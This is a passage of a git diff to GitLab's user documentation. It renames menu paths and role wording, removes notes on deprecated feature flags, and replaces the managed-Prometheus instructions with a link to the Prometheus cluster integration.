being executed which deploys each function as a Knative service. After the
deploy stage has finished, additional details for the function display
-under **Operations > Serverless**.
+under **Infrastructure > Serverless platform**.
![serverless page](img/serverless-page.png)
@@ -486,7 +454,7 @@ With all the pieces in place, the next time a CI pipeline runs the Knative appli
### Function details
-Go to the **Operations > Serverless** page to see the final URL of your functions.
+Go to the **Infrastructure > Serverless platform** page to see the final URL of your functions.
![function_details](img/function-list_v12_7.png)
@@ -499,10 +467,10 @@ rows to bring up the function details page.
The pod count gives you the number of pods running the serverless function instances on a given cluster.
-For the Knative function invocations to appear,
-[Prometheus must be installed](../index.md#installing-applications).
+For the Knative function invocations to appear, the
+[Prometheus cluster integration must be enabled](../../../clusters/integrations.md#prometheus-cluster-integration).
-Once Prometheus is installed, a message may appear indicating that the metrics data _is
+Once Prometheus is enabled, a message may appear indicating that the metrics data _is
loading or is not available at this time._ It appears upon the first access of the
page, but should go away after a few seconds. If the message does not disappear, then it
is possible that GitLab is unable to connect to the Prometheus instance running on the
@@ -611,7 +579,7 @@ or with other versions of Python.
Where `<namespace>` is the namespace created by GitLab for your serverless project (composed of `<project_name>-<project_id>-<environment>`) and
`example.com` is the domain being used for your project. If you are unsure what the namespace of your project is, navigate
- to the **Operations > Serverless** page of your project and inspect
+ to the **Infrastructure > Serverless platform** page of your project and inspect
the endpoint provided for your function/app.
![function_endpoint](img/function-endpoint.png)
diff --git a/doc/user/project/deploy_boards.md b/doc/user/project/deploy_boards.md
index 804c013d317..89c82d4dc6f 100644
--- a/doc/user/project/deploy_boards.md
+++ b/doc/user/project/deploy_boards.md
@@ -117,7 +117,7 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/
![Deploy Boards Kubernetes Label](img/deploy_boards_kubernetes_label.png)
Once all of the above are set up and the pipeline has run at least once,
-navigate to the environments page under **Operations > Environments**.
+navigate to the environments page under **Deployments > Environments**.
Deploy Boards are visible by default. You can explicitly click
the triangle next to their respective environment name in order to hide them.
diff --git a/doc/user/project/deploy_keys/index.md b/doc/user/project/deploy_keys/index.md
index a6b54474a9e..c0bc97781b6 100644
--- a/doc/user/project/deploy_keys/index.md
+++ b/doc/user/project/deploy_keys/index.md
@@ -28,7 +28,7 @@ repository in automation, it's a simple solution.
A drawback is that your repository could become vulnerable if a remote machine is compromised
by a hacker. You should limit access to the remote machine before a deploy key is
enabled on your repository. A good rule to follow is to provide access only to trusted users,
-and make sure that the allowed users have [maintainer permissions or higher](../../permissions.md)
+and make sure that the allowed users have the [Maintainer role or higher](../../permissions.md)
in the GitLab project.
If this security implication is a concern for your organization,
diff --git a/doc/user/project/deploy_tokens/index.md b/doc/user/project/deploy_tokens/index.md
index e2fa63ce519..800aa27f612 100644
--- a/doc/user/project/deploy_tokens/index.md
+++ b/doc/user/project/deploy_tokens/index.md
@@ -190,4 +190,4 @@ docker login -u $CI_DEPLOY_USER -p $CI_DEPLOY_PASSWORD $CI_REGISTRY
NOTE:
The special handling for the `gitlab-deploy-token` deploy token is not
implemented for group deploy tokens. To make the group-level deploy token available for
-CI/CD jobs, use the workaround in [issue 214014](https://gitlab.com/gitlab-org/gitlab/-/issues/214014).
+CI/CD jobs, the `CI_DEPLOY_USER` and `CI_DEPLOY_PASSWORD` variables should be set under **Settings** to the name and token of the group deploy token respectively.
diff --git a/doc/user/project/description_templates.md b/doc/user/project/description_templates.md
index 4a2bd56b7ba..d2897c7310e 100644
--- a/doc/user/project/description_templates.md
+++ b/doc/user/project/description_templates.md
@@ -106,11 +106,7 @@ instance or the project's parent groups.
### Set instance-level description templates **(PREMIUM SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360) in GitLab 13.9.
-> - [Deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56737) in GitLab 13.11.
-> - Enabled by default on GitLab.com.
-> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level). **(PREMIUM SELF)**
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321247) in GitLab 14.0.
You can set a description template at the **instance level** for issues
and merge requests.
@@ -132,11 +128,7 @@ Learn more about [instance template repository](../admin_area/settings/instance_
### Set group-level description templates **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360) in GitLab 13.9.
-> - [Deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56737) in GitLab 13.11.
-> - Enabled by default on GitLab.com.
-> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level). **(PREMIUM SELF)**
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321247) in GitLab 14.0.
With **group-level** description templates, you can store your templates in a single repository and
configure the group file templates setting to point to that repository.
@@ -184,7 +176,7 @@ provide `issues_template` and `merge_requests_template` attributes in the
## Description template example
We use description templates for issues and merge requests in the
-[`.gitlab` folder](https://gitlab.com/gitlab-org/gitlab/tree/master/.gitlab) of the
+[`.gitlab` folder](https://gitlab.com/gitlab-org/gitlab/-/tree/master/.gitlab) of the
GitLab project, which you can refer to for some examples.
NOTE:
@@ -231,28 +223,3 @@ it's very hard to read otherwise.)
/cc @project-manager
/assign @qa-tester
```
-
-## Enable or disable issue and merge request description templates at group and instance level **(PREMIUM SELF)**
-
-Setting issue and merge request description templates at group and instance levels
-is under development but ready for production use. It is deployed behind a
-feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can disable it.
-
-To disable it:
-
-```ruby
-Feature.disable(:inherited_issuable_templates)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:inherited_issuable_templates)
-```
-
-The feature flag affects these features:
-
-- Setting a templates project as issue and merge request description templates source at group level.
-- Setting a templates project as issue and merge request description templates source at instance level.
diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md
index 576de63d00d..eb963cb74c5 100644
--- a/doc/user/project/file_lock.md
+++ b/doc/user/project/file_lock.md
@@ -80,7 +80,7 @@ Check this document to learn more about [using Git LFS](../../topics/git/lfs/ind
### Configure Exclusive File Locks
-You need [Maintainer permissions](../permissions.md) to configure
+You need the [Maintainer role](../permissions.md) to configure
Exclusive File Locks for your project through the command line.
The first thing to do before using File Locking is to tell Git LFS which
@@ -201,8 +201,8 @@ This process allows you to lock one file at a time through the GitLab UI and
requires access to [GitLab Premium](https://about.gitlab.com/pricing/)
or higher tiers.
-Default branch file and directory locks only apply to the default branch set in
-the project's settings (usually `master`).
+Default branch file and directory locks only apply to the
+[default branch](repository/branches/default.md) set in the project's settings.
Changes to locked files on the default branch are blocked, including merge
requests that modify locked files. Unlock the file to allow changes.
@@ -226,6 +226,6 @@ who locked the file.
The **Locked Files**, accessed from **Project > Repository** left menu, lists
all file and directory locks. Locks can be removed by their author, or any user
-with Maintainer permissions and above.
+with the [Maintainer role](../permissions.md) and above.
This list shows all the files locked either through LFS or GitLab UI.
diff --git a/doc/user/project/highlighting.md b/doc/user/project/highlighting.md
index 2e5713e10be..aa8cf4549e2 100644
--- a/doc/user/project/highlighting.md
+++ b/doc/user/project/highlighting.md
@@ -45,7 +45,7 @@ To disable highlighting entirely, use `gitlab-language=text`. Lots more fun shen
```
Please note that these configurations only take effect when the `.gitattributes`
-file is in your default branch (usually `master`).
+file is in your [default branch](repository/branches/default.md).
NOTE:
The Web IDE does not support `.gitattribute` files, but it's [planned for a future release](https://gitlab.com/gitlab-org/gitlab/-/issues/22014).
diff --git a/doc/user/project/img/code_owners_approval_new_protected_branch_v13_10.png b/doc/user/project/img/code_owners_approval_new_protected_branch_v13_10.png
deleted file mode 100644
index ee4ee2c6d71..00000000000
--- a/doc/user/project/img/code_owners_approval_new_protected_branch_v13_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/code_owners_approval_protected_branch_v13_10.png b/doc/user/project/img/code_owners_approval_protected_branch_v13_10.png
deleted file mode 100644
index 220eb207132..00000000000
--- a/doc/user/project/img/code_owners_approval_protected_branch_v13_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/import/bitbucket.md b/doc/user/project/import/bitbucket.md
index e77932c6427..802eb3efc51 100644
--- a/doc/user/project/import/bitbucket.md
+++ b/doc/user/project/import/bitbucket.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Import your project from Bitbucket Cloud to GitLab
+# Import your project from Bitbucket Cloud to GitLab **(FREE)**
NOTE:
The Bitbucket Cloud importer works only with Bitbucket.org, not with Bitbucket
diff --git a/doc/user/project/import/bitbucket_server.md b/doc/user/project/import/bitbucket_server.md
index 1e79107d76f..963b9f524ff 100644
--- a/doc/user/project/import/bitbucket_server.md
+++ b/doc/user/project/import/bitbucket_server.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Import your project from Bitbucket Server to GitLab
+# Import your project from Bitbucket Server to GitLab **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20164) in GitLab 11.2.
diff --git a/doc/user/project/import/clearcase.md b/doc/user/project/import/clearcase.md
index 7e07ca6f865..27a84476590 100644
--- a/doc/user/project/import/clearcase.md
+++ b/doc/user/project/import/clearcase.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Migrating from ClearCase
+# Migrating from ClearCase **(FREE)**
[ClearCase](https://www.ibm.com/products/rational-clearcase) is a set of
tools developed by IBM which also include a centralized version control system
diff --git a/doc/user/project/import/cvs.md b/doc/user/project/import/cvs.md
index 61d4d29aa4d..55c5feff1f0 100644
--- a/doc/user/project/import/cvs.md
+++ b/doc/user/project/import/cvs.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Migrating from CVS
+# Migrating from CVS **(FREE)**
[CVS](https://savannah.nongnu.org/projects/cvs) is an old centralized version
control system similar to [SVN](svn.md).
diff --git a/doc/user/project/import/fogbugz.md b/doc/user/project/import/fogbugz.md
index 09505d94a8c..d3d77f16200 100644
--- a/doc/user/project/import/fogbugz.md
+++ b/doc/user/project/import/fogbugz.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Import your project from FogBugz to GitLab
+# Import your project from FogBugz to GitLab **(FREE)**
It only takes a few simple steps to import your project from FogBugz.
The importer imports all your cases and comments with original case
diff --git a/doc/user/project/import/gemnasium.md b/doc/user/project/import/gemnasium.md
index 5a4b16d57f5..37460da1289 100644
--- a/doc/user/project/import/gemnasium.md
+++ b/doc/user/project/import/gemnasium.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-08-15'
---
This document was deleted.
diff --git a/doc/user/project/import/gitea.md b/doc/user/project/import/gitea.md
index 41141902468..9364ac4f954 100644
--- a/doc/user/project/import/gitea.md
+++ b/doc/user/project/import/gitea.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Import your project from Gitea to GitLab
+# Import your project from Gitea to GitLab **(FREE)**
Import your projects from Gitea to GitLab with minimal effort.
diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md
index c8b973b673e..99b3e1acdcf 100644
--- a/doc/user/project/import/github.md
+++ b/doc/user/project/import/github.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Import your project from GitHub to GitLab
+# Import your project from GitHub to GitLab **(FREE)**
Using the importer, you can import your GitHub repositories to GitLab.com or to
your self-managed GitLab instance.
diff --git a/doc/user/project/import/gitlab_com.md b/doc/user/project/import/gitlab_com.md
index 9e63b1cb617..f7eb5e43a79 100644
--- a/doc/user/project/import/gitlab_com.md
+++ b/doc/user/project/import/gitlab_com.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Project importing from GitLab.com to your private GitLab instance
+# Project importing from GitLab.com to your private GitLab instance **(FREE)**
You can import your existing GitLab.com projects to your GitLab instance, but keep in
mind that it is possible only if GitLab.com integration is enabled on your GitLab instance.
diff --git a/doc/user/project/import/index.md b/doc/user/project/import/index.md
index 3728a486070..05fd04f6e48 100644
--- a/doc/user/project/import/index.md
+++ b/doc/user/project/import/index.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Migrate projects to a GitLab instance
+# Migrate projects to a GitLab instance **(FREE)**
See these documents to migrate to GitLab:
diff --git a/doc/user/project/import/manifest.md b/doc/user/project/import/manifest.md
index 94eba319a17..131732d2bae 100644
--- a/doc/user/project/import/manifest.md
+++ b/doc/user/project/import/manifest.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Import multiple repositories by uploading a manifest file
+# Import multiple repositories by uploading a manifest file **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28811) in GitLab 11.2.
diff --git a/doc/user/project/import/perforce.md b/doc/user/project/import/perforce.md
index 8040eb07c93..f3843396b79 100644
--- a/doc/user/project/import/perforce.md
+++ b/doc/user/project/import/perforce.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Migrating from Perforce Helix
+# Migrating from Perforce Helix **(FREE)**
[Perforce Helix](https://www.perforce.com/) provides a set of tools which also
include a centralized, proprietary version control system similar to Git.
diff --git a/doc/user/project/import/phabricator.md b/doc/user/project/import/phabricator.md
index 30a63a72cf9..6a1370f3301 100644
--- a/doc/user/project/import/phabricator.md
+++ b/doc/user/project/import/phabricator.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Import Phabricator tasks into a GitLab project
+# Import Phabricator tasks into a GitLab project **(FREE SELF)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/60562) in GitLab 12.0.
diff --git a/doc/user/project/import/repo_by_url.md b/doc/user/project/import/repo_by_url.md
index 3ff612c51a7..e504f3678a7 100644
--- a/doc/user/project/import/repo_by_url.md
+++ b/doc/user/project/import/repo_by_url.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Import project from repository by URL
+# Import project from repository by URL **(FREE)**
You can import your existing repositories by providing the Git URL:
diff --git a/doc/user/project/import/svn.md b/doc/user/project/import/svn.md
index e39976e00f6..b88abf91ae1 100644
--- a/doc/user/project/import/svn.md
+++ b/doc/user/project/import/svn.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Migrating from SVN to GitLab
+# Migrating from SVN to GitLab **(FREE)**
Subversion (SVN) is a central version control system (VCS) while
Git is a distributed version control system. There are some major differences
@@ -112,6 +112,10 @@ contact the SubGit team directly at [support@subgit.com](mailto:support@subgit.c
## Cut over migration with svn2git
+NOTE:
+Any issues with svn2git should be directed to the [relevant project and maintainer](https://github.com/nirvdrum/svn2git).
+Check for existing issues and history for update frequency.
+
If you are currently using an SVN repository, you can migrate the repository
to Git and GitLab. We recommend a hard cut over - run the migration command once
and then have all developers start using the new GitLab repository immediately.
diff --git a/doc/user/project/import/tfvc.md b/doc/user/project/import/tfvc.md
index 705df686fe0..910be690d0b 100644
--- a/doc/user/project/import/tfvc.md
+++ b/doc/user/project/import/tfvc.md
@@ -1,11 +1,11 @@
---
-stage: none
-group: unassigned
+stage: Manage
+group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts
---
-# Migrate from TFVC to Git
+# Migrate from TFVC to Git **(FREE)**
Team Foundation Server (TFS), renamed [Azure DevOps Server](https://azure.microsoft.com/en-us/services/devops/server/)
in 2019, is a set of tools developed by Microsoft which also includes
diff --git a/doc/user/project/index.md b/doc/user/project/index.md
index d9283f623d4..0dcbf997452 100644
--- a/doc/user/project/index.md
+++ b/doc/user/project/index.md
@@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference
---
-# Projects **(FREE)**
+# Organize work with projects **(FREE)**
In GitLab, you can create projects to host
your codebase. You can also use projects to track issues, plan work,
@@ -97,7 +97,7 @@ Projects include the following [features](https://about.gitlab.com/features/):
- [Security Dashboard](../application_security/security_dashboard/index.md) **(ULTIMATE)**
- [Syntax highlighting](highlighting.md): Customize
your code blocks, overriding the default language choice.
-- [Badges](badges.md): Add an image to the project overview.
+- [Badges](badges.md): Add an image to the **Project information** page.
- [Releases](releases/index.md): Take a snapshot of
the source, build output, metadata, and artifacts
associated with a released version of your code.
diff --git a/doc/user/project/integrations/gitlab_slack_application.md b/doc/user/project/integrations/gitlab_slack_application.md
index ef8c9d59132..ac70c7e4b4e 100644
--- a/doc/user/project/integrations/gitlab_slack_application.md
+++ b/doc/user/project/integrations/gitlab_slack_application.md
@@ -25,7 +25,7 @@ The simplest way to enable the GitLab Slack application for your workspace is to
install the [GitLab application](https://slack-platform.slack.com/apps/A676ADMV5-gitlab) from
the [Slack App Directory](https://slack.com/apps).
-Clicking install takes you to the [GitLab Slack application landing page](https://gitlab.com/profile/slack/edit)
+Clicking install takes you to the [GitLab Slack application landing page](https://gitlab.com/-/profile/slack/edit)
where you can select a project to enable the GitLab Slack application for.
![GitLab Slack application landing page](img/gitlab_slack_app_landing_page.png)
diff --git a/doc/user/project/integrations/hipchat.md b/doc/user/project/integrations/hipchat.md
deleted file mode 100644
index 63772936fd4..00000000000
--- a/doc/user/project/integrations/hipchat.md
+++ /dev/null
@@ -1,7 +0,0 @@
----
-redirect_to: 'index.md'
----
-
-This document was moved to [another location](index.md).
-<!-- This redirect file can be deleted after 2021-06-30. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/index.md b/doc/user/project/integrations/index.md
index c7772ac2238..f9e15ced858 100644
--- a/doc/user/project/integrations/index.md
+++ b/doc/user/project/integrations/index.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
You can find the available integrations under your project's
**Settings > Integrations** page. You need to have at least
-[maintainer permission](../../permissions.md) on the project.
+the [Maintainer role](../../permissions.md) on the project.
## Integrations
diff --git a/doc/user/project/integrations/jira.md b/doc/user/project/integrations/jira.md
index b91a8a1fb3b..521f15f330e 100644
--- a/doc/user/project/integrations/jira.md
+++ b/doc/user/project/integrations/jira.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../integration/jira/index.md'
+remove_date: '2021-07-07'
---
This document was moved to [another location](../../../integration/jira/index.md).
diff --git a/doc/user/project/integrations/jira_cloud_configuration.md b/doc/user/project/integrations/jira_cloud_configuration.md
index b3091275835..c9ab4532760 100644
--- a/doc/user/project/integrations/jira_cloud_configuration.md
+++ b/doc/user/project/integrations/jira_cloud_configuration.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../integration/jira/jira_cloud_configuration.md'
+remove_date: '2021-06-18'
---
This document was moved to [another location](../../../integration/jira/jira_cloud_configuration.md).
diff --git a/doc/user/project/integrations/jira_integrations.md b/doc/user/project/integrations/jira_integrations.md
index 485b48df01b..3aacf051c22 100644
--- a/doc/user/project/integrations/jira_integrations.md
+++ b/doc/user/project/integrations/jira_integrations.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../integration/jira/index.md'
+remove_date: '2021-07-13'
---
This document was moved to [another location](../../../integration/jira/index.md).
diff --git a/doc/user/project/integrations/jira_server_configuration.md b/doc/user/project/integrations/jira_server_configuration.md
index 191b8f207a1..de6eec62b96 100644
--- a/doc/user/project/integrations/jira_server_configuration.md
+++ b/doc/user/project/integrations/jira_server_configuration.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../integration/jira/jira_server_configuration.md'
+remove_date: '2021-06-18'
---
This document was moved to [another location](../../../integration/jira/jira_server_configuration.md).
diff --git a/doc/user/project/integrations/mattermost_slash_commands.md b/doc/user/project/integrations/mattermost_slash_commands.md
index 20f5b73b37c..834bf15c287 100644
--- a/doc/user/project/integrations/mattermost_slash_commands.md
+++ b/doc/user/project/integrations/mattermost_slash_commands.md
@@ -67,9 +67,9 @@ After you enable custom slash commands in Mattermost, you need configuration
information from GitLab. To get this information:
1. In a different browser tab than your current Mattermost session, sign in to
- GitLab as a user with [administrator permissions](../../permissions.md).
-1. In the top navigation bar, go to **{admin}** **Admin Area**.
-1. In the left menu, go to **Settings > Integrations** and select
+ GitLab as a user with [Administrator role](../../permissions.md).
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left menu, select **Settings > Integrations**, then select
**Mattermost slash commands**.
1. GitLab displays potential values for Mattermost settings. Copy the **Request URL**
as you need it for the next step. All other values are suggestions.
diff --git a/doc/user/project/integrations/overview.md b/doc/user/project/integrations/overview.md
index 5bd4062b125..b0ae290e7cd 100644
--- a/doc/user/project/integrations/overview.md
+++ b/doc/user/project/integrations/overview.md
@@ -80,19 +80,6 @@ instance configuration or provide custom settings.
Read more about [Project integration management](../../admin_area/settings/project_integration_management.md).
-### Service templates
-
-[Service templates](services_templates.md) were a way to set predefined values for
-a project integration across all new projects on the instance. They are deprecated and
-[scheduled to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268032)
-in GitLab 14.0.
-
-GitLab recommends you use [project integration management](../../admin_area/settings/project_integration_management.md)
-instead of service templates. GitLab versions 13.3 and later provide
-[instance-level integrations](../../admin_area/settings/project_integration_management.md#project-integration-management)
-you can use.
-instead.
-
## Troubleshooting integrations
Some integrations use service hooks for integration with external applications. To confirm which ones use service hooks, see the [integrations listing](#integrations-listing) above. GitLab stores details of service hook requests made within the last 2 days. To view details of the requests, go to that integration's configuration page.
@@ -128,6 +115,6 @@ plugins. This allows the community to keep the plugins up to date so that they
always work in newer GitLab versions.
For an overview of what integrations are available, please see the
-[project_services source directory](https://gitlab.com/gitlab-org/gitlab/tree/master/app/models/project_services).
+[project_services source directory](https://gitlab.com/gitlab-org/gitlab/-/tree/master/app/models/project_services).
Contributions are welcome!
diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md
index 4922c8d9b62..adc98151ce4 100644
--- a/doc/user/project/integrations/prometheus.md
+++ b/doc/user/project/integrations/prometheus.md
@@ -17,7 +17,7 @@ in the GitLab interface.
There are two ways to set up Prometheus integration, depending on where your apps are running:
-- For deployments on Kubernetes, GitLab can automatically [deploy and manage Prometheus](#managed-prometheus-on-kubernetes).
+- For deployments on Kubernetes, GitLab can be [integrated with an in-cluster Prometheus](#prometheus-cluster-integration)
- For other deployment targets, [specify the Prometheus server](#manual-configuration-of-prometheus).
Once enabled, GitLab detects metrics from known services in the
@@ -27,141 +27,13 @@ Once enabled, GitLab detects metrics from known services in the
## Enabling Prometheus Integration
-### Managed Prometheus on Kubernetes
+### Prometheus cluster integration
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28916) in GitLab 10.5.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55244) in GitLab 13.11.
+> - [Replaced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62725) the Prometheus cluster applications in GitLab 14.0.
-**Deprecated:** Managed Prometheus on Kubernetes is deprecated, and
-scheduled for removal in [GitLab
-14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280).
-
-GitLab can seamlessly deploy and manage Prometheus on a
-[connected Kubernetes cluster](../clusters/index.md), to help you monitor your apps.
-
-#### Requirements
-
-- A [connected Kubernetes cluster](../clusters/index.md)
-
-#### Getting started
-
-After you have a connected Kubernetes cluster, you can deploy a managed Prometheus with a single click.
-
-1. Go to the **Operations > Kubernetes** page to view your connected clusters
-1. Select the cluster you would like to deploy Prometheus to
-1. Click the **Install** button to deploy Prometheus to the cluster
-
-![Managed Prometheus Deploy](img/prometheus_deploy.png)
-
-#### About managed Prometheus deployments
-
-Prometheus is deployed into the `gitlab-managed-apps` namespace, using the
-[official Helm chart](https://github.com/helm/charts/tree/master/stable/prometheus).
-Prometheus is only accessible in the cluster, with GitLab communicating through the
-[Kubernetes API](https://kubernetes.io/docs/concepts/overview/kubernetes-api/).
-
-The Prometheus server
-[automatically detects and monitors](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config)
-nodes, pods, and endpoints. To configure a resource to be monitored by Prometheus,
-set the following [Kubernetes annotations](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/):
-
-- `prometheus.io/scrape` to `true` to enable monitoring of the resource.
-- `prometheus.io/port` to define the port of the metrics endpoint.
-- `prometheus.io/path` to define the path of the metrics endpoint. Defaults to `/metrics`.
-
-CPU and Memory consumption is monitored, but requires
-[naming conventions](prometheus_library/kubernetes.md#specifying-the-environment)
-to determine the environment. If you are using
-[Auto DevOps](../../../topics/autodevops/index.md), this is handled automatically.
-
-The [NGINX Ingress](../clusters/index.md#installing-applications) that is deployed
-by GitLab to clusters, is automatically annotated for monitoring providing key
-response metrics: latency, throughput, and error rates.
-
-##### Example of Kubernetes service annotations and labels
-
-As an example, to activate Prometheus monitoring of a service:
-
-1. Add at least this annotation: `prometheus.io/scrape: 'true'`.
-1. Add two labels so GitLab can retrieve metrics dynamically for any environment:
- - `application: ${CI_ENVIRONMENT_SLUG}`
- - `release: ${CI_ENVIRONMENT_SLUG}`
-1. Create a dynamic PromQL query. For example, a query like
- `temperature{application="{{ci_environment_slug}}",release="{{ci_environment_slug}}"}` to either:
- - Add [custom metrics](../../../operations/metrics/index.md#adding-custom-metrics).
- - Add [custom dashboards](../../../operations/metrics/dashboards/index.md).
-
-The following is a service definition to accomplish this:
-
-```yaml
----
-# Service
-apiVersion: v1
-kind: Service
-metadata:
- name: service-${CI_PROJECT_NAME}-${CI_COMMIT_REF_SLUG}
- # === Prometheus annotations ===
- annotations:
- prometheus.io/scrape: 'true'
- labels:
- application: ${CI_ENVIRONMENT_SLUG}
- release: ${CI_ENVIRONMENT_SLUG}
- # === End of Prometheus ===
-spec:
- selector:
- app: ${CI_PROJECT_NAME}
- ports:
- - port: ${EXPOSED_PORT}
- targetPort: ${CONTAINER_PORT}
-```
-
-#### Access the UI of a Prometheus managed application in Kubernetes
-
-You can connect directly to Prometheus, and view the Prometheus user interface, when
-using a Prometheus managed application in Kubernetes:
-
-1. Find the name of the Prometheus pod in the user interface of your Kubernetes
- provider, such as GKE, or by running the following `kubectl` command in your
- terminal:
-
- ```shell
- kubectl get pods -n gitlab-managed-apps | grep 'prometheus-prometheus-server'
- ```
-
- The command should return a result like the following example, where
- `prometheus-prometheus-server-55b4bd64c9-dpc6b` is the name of the Prometheus pod:
-
- ```plaintext
- gitlab-managed-apps prometheus-prometheus-server-55b4bd64c9-dpc6b 2/2 Running 0 71d
- ```
-
-1. Run a `kubectl port-forward` command. In the following example, `9090` is the
- Prometheus server's listening port:
-
- ```shell
- kubectl port-forward prometheus-prometheus-server-55b4bd64c9-dpc6b 9090:9090 -n gitlab-managed-apps
- ```
-
- The `port-forward` command forwards all requests sent to your system's `9090` port
- to the `9090` port of the Prometheus pod. If the `9090` port on your system is used
- by another application, you can change the port number before the colon to your
- desired port. For example, to forward port `8080` of your local system, change the
- command to:
-
- ```shell
- kubectl port-forward prometheus-prometheus-server-55b4bd64c9-dpc6b 8080:9090 -n gitlab-managed-apps
- ```
-
-1. Open `localhost:9090` in your browser to display the Prometheus user interface.
-
-#### Script access to Prometheus
-
-You can script the access to Prometheus, extracting the name of the pod automatically like this:
-
-```shell
-POD_INFORMATION=$(kubectl get pods -n gitlab-managed-apps | grep 'prometheus-prometheus-server')
-POD_NAME=$(echo $POD_INFORMATION | awk '{print $1;}')
-kubectl port-forward $POD_NAME 9090:9090 -n gitlab-managed-apps
-```
+GitLab can query an in-cluster Prometheus for your metrics.
+See [Prometheus cluster integration](../../clusters/integrations.md#prometheus-cluster-integration) for details.
### Manual configuration of Prometheus
@@ -223,12 +95,12 @@ to integrate with.
### Precedence with multiple Prometheus configurations
Although you can enable both a [manual configuration](#manual-configuration-of-prometheus)
-and [auto configuration](#managed-prometheus-on-kubernetes) of Prometheus, you
+and [cluster integration](#prometheus-cluster-integration) of Prometheus, you
can use only one:
- If you have enabled a
[Prometheus manual configuration](#manual-configuration-of-prometheus)
- and a [managed Prometheus on Kubernetes](#managed-prometheus-on-kubernetes),
+ and a [Prometheus cluster integration](#prometheus-cluster-integration),
the manual configuration takes precedence and is used to run queries from
